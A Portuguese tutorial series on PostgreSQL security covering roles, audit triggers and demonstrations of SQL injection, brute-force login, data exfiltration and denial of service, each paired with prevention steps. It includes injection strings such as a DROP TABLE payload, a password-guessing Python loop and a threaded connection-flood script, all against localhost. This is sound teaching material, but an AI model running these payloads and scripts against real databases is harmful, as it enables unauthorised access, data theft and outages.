Exemplos práticos em PostgreSQL para ilustrar como implementar autenticação, autorização e separação de privilégios em um banco novo com usuários, grupos (roles) e permissões específicas.
-- Criar um novo banco de dados
CREATE DATABASE empresa_segura;
-- Criar usuário administrativo (com todas permissões)
CREATE ROLE admin_user LOGIN PASSWORD 'SenhaForte!@123' SUPERUSER;
-- Criar usuário de aplicação (sem superpoderes)
CREATE ROLE app_user LOGIN PASSWORD 'SenhaApp!123';
-- Criar usuário somente leitura
CREATE ROLE leitor_user LOGIN PASSWORD 'SenhaLeitor!123';-- Role para usuários com acesso somente de leitura
CREATE ROLE role_leitura;
-- Role para usuários com acesso de escrita (insert/update/delete)
CREATE ROLE role_escrita;
-- Conceder roles aos usuários
GRANT role_leitura TO leitor_user;
GRANT role_escrita TO app_user;Suponha que criamos uma tabela de clientes:
-- Conectar no banco "empresa_segura"
\c empresa_segura
-- Criar tabela exemplo
CREATE TABLE clientes (
id SERIAL PRIMARY KEY,
nome VARCHAR(100),
email VARCHAR(100),
saldo DECIMAL
);Aplicando as permissões:
-- Revogar permissões padrão
REVOKE ALL ON clientes FROM PUBLIC;
-- Conceder apenas SELECT para o grupo de leitura
GRANT SELECT ON clientes TO role_leitura;
-- Conceder SELECT, INSERT e UPDATE para o grupo de escrita
GRANT SELECT, INSERT, UPDATE ON clientes TO role_escrita;Exemplo para permitir apenas INSERT sem UPDATE:
-- Role só para inserção
CREATE ROLE role_insercao;
-- Role só para atualização
CREATE ROLE role_atualizacao;
-- Permissões específicas
GRANT INSERT ON clientes TO role_insercao;
GRANT UPDATE ON clientes TO role_atualizacao;
-- Associar essas roles a usuários conforme necessário
GRANT role_insercao TO app_user;Se houver mais esquemas além do public, podemos restringir acessos:
-- Criar um novo esquema
CREATE SCHEMA financeiro AUTHORIZATION admin_user;
-- Criar tabela dentro do esquema
CREATE TABLE financeiro.transacoes (
id SERIAL PRIMARY KEY,
cliente_id INT,
valor DECIMAL,
data TIMESTAMP DEFAULT now()
);
-- Garantir que apenas app_user possa escrever
GRANT SELECT, INSERT, UPDATE ON financeiro.transacoes TO app_user;
-- Garantir que leitor_user só possa visualizar
GRANT SELECT ON financeiro.transacoes TO leitor_user;- Autenticação → usar senhas fortes e, no nível da aplicação, preferir MFA/certificados.
- Autorização → uso de roles (grupos) com permissões mínimas necessárias.
- Separação de privilégios → distinguir usuários administrativos (DBAs), de aplicação (escrita) e de consulta (somente leitura).
- Revogar permissões padrão (
REVOKE ALL FROM PUBLIC) e conceder apenas explicitamente.
Este documento mostra como implementar uma tabela de auditoria em PostgreSQL utilizando triggers para registrar operações de INSERT, UPDATE e DELETE.
CREATE TABLE auditoria_logs (
id SERIAL PRIMARY KEY,
tabela TEXT NOT NULL,
operacao TEXT NOT NULL,
usuario_db TEXT NOT NULL,
data_operacao TIMESTAMP DEFAULT now(),
chave_registro TEXT,
valores_antigos JSONB,
valores_novos JSONB
);tabela→ Nome da tabela auditada.operacao→ Tipo de ação (INSERT,UPDATE,DELETE).usuario_db→ Quem executou a ação.chave_registro→ PK ou identificador do registro.valores_antigos→ Dados antes da alteração.valores_novos→ Dados após a alteração.
CREATE OR REPLACE FUNCTION fn_auditoria()
RETURNS TRIGGER AS $$
BEGIN
IF TG_OP = 'INSERT' THEN
INSERT INTO auditoria_logs (tabela, operacao, usuario_db, chave_registro, valores_novos)
VALUES (TG_TABLE_NAME, TG_OP, SESSION_USER, NEW.id::TEXT, row_to_json(NEW)::jsonb);
RETURN NEW;
ELSIF TG_OP = 'UPDATE' THEN
INSERT INTO auditoria_logs (tabela, operacao, usuario_db, chave_registro, valores_antigos, valores_novos)
VALUES (TG_TABLE_NAME, TG_OP, SESSION_USER, NEW.id::TEXT, row_to_json(OLD)::jsonb, row_to_json(NEW)::jsonb);
RETURN NEW;
ELSIF TG_OP = 'DELETE' THEN
INSERT INTO auditoria_logs (tabela, operacao, usuario_db, chave_registro, valores_antigos)
VALUES (TG_TABLE_NAME, TG_OP, SESSION_USER, OLD.id::TEXT, row_to_json(OLD)::jsonb);
RETURN OLD;
END IF;
RETURN NULL;
END;
$$ LANGUAGE plpgsql;Supondo que queremos auditar a tabela clientes:
CREATE TRIGGER trg_auditoria_clientes
AFTER INSERT OR UPDATE OR DELETE ON clientes
FOR EACH ROW
EXECUTE FUNCTION fn_auditoria();-- Inserindo cliente
INSERT INTO clientes (nome, email, saldo)
VALUES ('João Silva', '[email protected]', 100.00);
-- Atualizando cliente
UPDATE clientes SET saldo = 200.00 WHERE id = 1;
-- Excluindo cliente
DELETE FROM clientes WHERE id = 1;
-- Consultando logs
SELECT * FROM auditoria_logs;| id | tabela | operacao | usuario_db | data_operacao | chave_registro | valores_antigos | valores_novos |
|---|---|---|---|---|---|---|---|
| 1 | clientes | INSERT | app_user | 2025-08-21 10:00 | 1 | NULL | {"id":1,"nome":"João Silva","email":"[email protected]","saldo":100.00} |
| 2 | clientes | UPDATE | app_user | 2025-08-21 10:05 | 1 | {"id":1,"saldo":100.00} | {"id":1,"saldo":200.00} |
| 3 | clientes | DELETE | app_user | 2025-08-21 10:10 | 1 | {"id":1,"saldo":200.00} | NULL |
- Criar tabela de logs separada para auditoria.
- Armazenar dados antigos e novos para rastreabilidade.
- Usar
SESSION_USERpara saber quem fez a operação. - Centralizar auditoria em uma única função para reuso.
Este documento demonstra como ocorre uma injeção de SQL (SQL Injection), os riscos envolvidos e como prevenir, incluindo um exemplo prático em Python + PostgreSQL.
Suponha que temos uma tabela de usuários:
CREATE TABLE usuarios (
id SERIAL PRIMARY KEY,
username VARCHAR(50) UNIQUE NOT NULL,
senha VARCHAR(100) NOT NULL
);
-- Inserindo dados de exemplo
INSERT INTO usuarios (username, senha) VALUES ('admin', 'senha123');
INSERT INTO usuarios (username, senha) VALUES ('joao', '123456');E no código da aplicação temos algo assim:
-- Código inseguro que concatena input do usuário
query = "SELECT * FROM usuarios WHERE username = '" + input_user + "' AND senha = '" + input_pass + "'";Um atacante coloca no campo de senha a string:
' OR '1'='1A query montada pela aplicação vira:
SELECT * FROM usuarios WHERE username = 'admin' AND senha = '' OR '1'='1';O trecho OR '1'='1' sempre será verdadeiro, retornando todos os usuários, permitindo login sem senha.
Além de bypass no login, o atacante pode executar comandos perigosos:
- Listar todas as tabelas:
' UNION SELECT table_name, null FROM information_schema.tables --- Deletar dados (exemplo extremo):
'; DROP TABLE usuarios; --Se o app rodar com permissões altas, a tabela pode ser apagada.
Exemplo em Node.js com pg (PostgreSQL client):
const query = "SELECT * FROM usuarios WHERE username = $1 AND senha = $2";
const values = [input_user, input_pass];
const result = await client.query(query, values);Exemplo com Sequelize (Node.js):
const user = await Usuario.findOne({
where: { username: input_user, senha: input_pass }
});- Usuário da aplicação no DB não deve ter
DROP,CREATEouALTER. - Somente
SELECT,INSERTeUPDATEno que for necessário.
CREATE TABLE usuarios (
id SERIAL PRIMARY KEY,
username VARCHAR(50) UNIQUE NOT NULL,
senha VARCHAR(100) NOT NULL
);
INSERT INTO usuarios (username, senha) VALUES ('admin', 'senha123');
INSERT INTO usuarios (username, senha) VALUES ('joao', '123456');import psycopg2
# Conexão local ao PostgreSQL
conn = psycopg2.connect(
dbname="empresa_segura",
user="postgres",
password="postgres",
host="localhost",
port="5432"
)
cur = conn.cursor()
# Simulando inputs do usuário
input_user = "admin"
input_pass = "' OR '1'='1" # ataque SQL Injection
# CÓDIGO VULNERÁVEL (concatenação direta)
query = f"SELECT * FROM usuarios WHERE username = '{input_user}' AND senha = '{input_pass}'"
print("Executando query insegura:", query)
cur.execute(query)
rows = cur.fetchall()
print("Resultado da query insegura:", rows)
cur.close()
conn.close()🔎 Resultado esperado
Mesmo sem saber a senha, o atacante consegue logar como admin porque o OR '1'='1' sempre é verdadeiro.
import psycopg2
conn = psycopg2.connect(
dbname="empresa_segura",
user="postgres",
password="postgres",
host="localhost",
port="5432"
)
cur = conn.cursor()
# Inputs normais do usuário
input_user = "admin"
input_pass = "' OR '1'='1" # tentativa de ataque
# CÓDIGO SEGURO (parametrizado)
query = "SELECT * FROM usuarios WHERE username = %s AND senha = %s"
cur.execute(query, (input_user, input_pass))
rows = cur.fetchall()
print("Resultado da query segura:", rows)
cur.close()
conn.close()🔎 Resultado esperado
A query não retorna nada, pois o PostgreSQL interpreta "' OR '1'='1" apenas como string, não como código SQL.
- O código vulnerável permite login sem senha (SQL Injection).
- O código seguro parametrizado bloqueia o ataque.
- Nunca concatenar strings vindas de input em queries.
- Sempre usar queries parametrizadas (
$1,?,:param). - Usar ORM ou query builders seguros.
- Restringir permissões do usuário do banco.
- Auditar logs para detectar injeções suspeitas.
Este documento mostra como ocorre um ataque de força bruta contra o PostgreSQL, exemplos de exploração e formas de prevenção.
Um ataque de força bruta acontece quando um script tenta milhares de combinações de usuário/senha até encontrar a correta e acessar o banco.
No PostgreSQL, isso ocorre normalmente na conexão inicial (psql, psycopg2, etc.), antes mesmo de rodar queries.
import psycopg2
# Lista de senhas que o atacante tenta (dicionário simples)
senhas_testadas = ["1234", "admin", "postgres", "senha123", "senhaForte!@123"]
for senha in senhas_testadas:
try:
conn = psycopg2.connect(
dbname="empresa_segura",
user="postgres",
password=senha,
host="localhost",
port="5432"
)
print(f"[+] Sucesso! Senha encontrada: {senha}")
conn.close()
break
except Exception as e:
print(f"[-] Falha com senha: {senha}")🔎 Esse script vai tentando várias senhas até encontrar a correta (postgres/senhaForte!@123).
- Se a senha for fraca (
1234,admin,senha123), o atacante consegue acesso facilmente. - Uma vez dentro, pode exfiltrar dados ou executar DDL maliciosa.
O PostgreSQL sozinho não tem política de senha nativa, mas é possível usar a extensão passwordcheck:
-- Ativar a extensão
CREATE EXTENSION IF NOT EXISTS passwordcheck;
-- Criar usuário com senha fraca (vai falhar)
CREATE ROLE teste LOGIN PASSWORD '1234';
-- Criar usuário com senha forte (vai aceitar)
CREATE ROLE seguro LOGIN PASSWORD 'SenhaForte!@123';- O PostgreSQL não bloqueia automaticamente após falhas, mas você pode usar:
- Fail2Ban → monitora os logs (
pg_log) e bloqueia IPs com muitas falhas de login. - Firewall/Nginx → limitar número de tentativas por minuto.
- Fail2Ban → monitora os logs (
Exemplo de regex Fail2Ban para PostgreSQL:
[Definition]
failregex = FATAL: password authentication failed for user ".*" .*host=<HOST>
- Usar MFA no nível da aplicação (não direto no PostgreSQL).
- Exemplo: login no app → autenticação + token OTP → só então conexão ao banco.
No arquivo pg_hba.conf, restringir:
- IPs que podem conectar.
- Autenticação apenas com métodos seguros (
scram-sha-256).
Exemplo:
# Permitir apenas rede interna com SCRAM
host empresa_segura all 192.168.1.0/24 scram-sha-256
- Ataque de Força Bruta → automatiza tentativas de senha até acertar.
- Prevenção:
- Senhas fortes (com
passwordcheck). - Bloqueio de IPs com Fail2Ban.
- MFA no nível da aplicação.
- Restrições de IP no
pg_hba.conf.
- Senhas fortes (com
Este documento mostra como ocorre a exfiltração de dados em bancos PostgreSQL, exemplos práticos de exploração e medidas de prevenção.
Suponha uma tabela com dados sensíveis:
CREATE TABLE clientes (
id SERIAL PRIMARY KEY,
nome VARCHAR(100),
email VARCHAR(100),
cpf VARCHAR(11),
saldo DECIMAL
);
-- Inserindo dados fictícios
INSERT INTO clientes (nome, email, cpf, saldo)
VALUES
('João Silva', '[email protected]', '12345678901', 5000),
('Maria Souza', '[email protected]', '98765432100', 2000),
('Carlos Lima', '[email protected]', '45678912345', 7500);Um usuário com permissão de leitura pode tentar:
-- Exportar todos os registros
SELECT * FROM clientes;E gravar em CSV/arquivo:
\COPY (SELECT * FROM clientes) TO '/tmp/dump_clientes.csv' CSV HEADER;🔎 Agora ele tem todos os dados sensíveis em um arquivo externo.
Um atacante pode usar UNION para exfiltrar tabelas do catálogo:
SELECT id, nome, email, cpf, saldo FROM clientes
UNION
SELECT null, table_name, null, null, null
FROM information_schema.tables;Isso devolve dados misturados com nomes de tabelas, ajudando o invasor a mapear o banco.
Um atacante pode limitar e extrair devagar para não gerar alertas:
-- Extrair apenas 10 linhas por vez
SELECT * FROM clientes LIMIT 10 OFFSET 0;
SELECT * FROM clientes LIMIT 10 OFFSET 10;- Implementar ferramentas que inspecionam queries e bloqueiam exportações suspeitas.
- Exemplo: impedir
\COPY,COPY TO,UNIONem usuários comuns.
- Configurar row-level security (RLS) para que cada usuário só veja seus próprios dados:
ALTER TABLE clientes ENABLE ROW LEVEL SECURITY;
CREATE POLICY cliente_policy ON clientes
USING (current_user = nome);- Evitar que usuários internos possam fazer
SELECT *sem filtros.
- Monitorar queries grandes com
pg_stat_statements:
SELECT query, calls, total_exec_time, rows
FROM pg_stat_statements
WHERE rows > 10000
ORDER BY rows DESC;- Configurar alertas (Prometheus, SIEM) se um usuário consulta/baixa mais registros que o normal.
- Usuários de aplicação devem ter apenas acesso ao que precisam.
- Ex.: app de relatórios → apenas SELECT em views com dados agregados, não na tabela bruta.
- Data Exfiltration = extração massiva de dados sensíveis.
- Exemplo prático: SELECT + COPY para CSV ou consultas fragmentadas.
- Prevenção:
- DLP para inspecionar queries.
- RLS e limites de consultas.
- Monitoramento com
pg_stat_statements. - Privilégios mínimos para usuários internos/externos.
Este documento mostra como ocorre um ataque de negação de serviço (DoS/DDoS) contra o PostgreSQL, exemplos práticos de exploração e medidas de prevenção.
Um atacante ou mesmo um usuário interno mal-intencionado pode enviar queries pesadas ou requisições em massa, consumindo CPU, memória e conexões até derrubar o banco.
Suponha uma tabela com muitos registros:
CREATE TABLE transacoes (
id SERIAL PRIMARY KEY,
cliente_id INT,
valor DECIMAL,
data TIMESTAMP
);
-- Inserir 1 milhão de registros para simulação
INSERT INTO transacoes (cliente_id, valor, data)
SELECT (random()*1000)::int, (random()*1000)::numeric, now() - (random() * interval '365 days')
FROM generate_series(1, 1000000);Um atacante executa uma query ineficiente:
-- Query maliciosa sem índice
SELECT * FROM transacoes WHERE valor::TEXT LIKE '%999%';🔎 O PostgreSQL terá que fazer full scan em milhões de linhas, consumindo muitos recursos.
Um script externo pode abrir várias conexões simultâneas:
import psycopg2
import threading
def ataque():
while True:
try:
conn = psycopg2.connect(
dbname="empresa_segura",
user="postgres",
password="postgres",
host="localhost",
port="5432"
)
cur = conn.cursor()
cur.execute("SELECT pg_sleep(5);") # mantém conexão ocupada
except:
pass
# Disparar 50 threads simultâneas
for _ in range(50):
t = threading.Thread(target=ataque)
t.start()🔎 Isso cria muitas conexões bloqueadas, esgotando os recursos do banco.
Criar índices para evitar full table scans:
CREATE INDEX idx_transacoes_valor ON transacoes(valor);No postgresql.conf ou com ALTER ROLE:
ALTER ROLE app_user CONNECTION LIMIT 5;🔒 Impede que um único usuário crie conexões em excesso.
-- Limite de tempo para execução de queries (ex.: 5 segundos)
SET statement_timeout = '5s';- Colocar Proxy/Pooler (PgBouncer, HAProxy, Nginx) na frente do PostgreSQL.
- Limitar número de requisições por segundo por IP.
- Usar pg_stat_activity para detectar queries pesadas:
SELECT pid, usename, state, query, now() - query_start AS tempo_execucao
FROM pg_stat_activity
WHERE state = 'active'
ORDER BY tempo_execucao DESC;- Integrar com Prometheus + Grafana para alertas.
- DoS/DDoS no PostgreSQL = saturação por queries pesadas ou conexões massivas.
- Exemplo prático:
LIKE '%999%'em tabela gigante, ou múltiplospg_sleep()mantendo conexões. - Prevenção: índices,
CONNECTION LIMIT,statement_timeout, rate limiting com proxies e monitoramento ativo.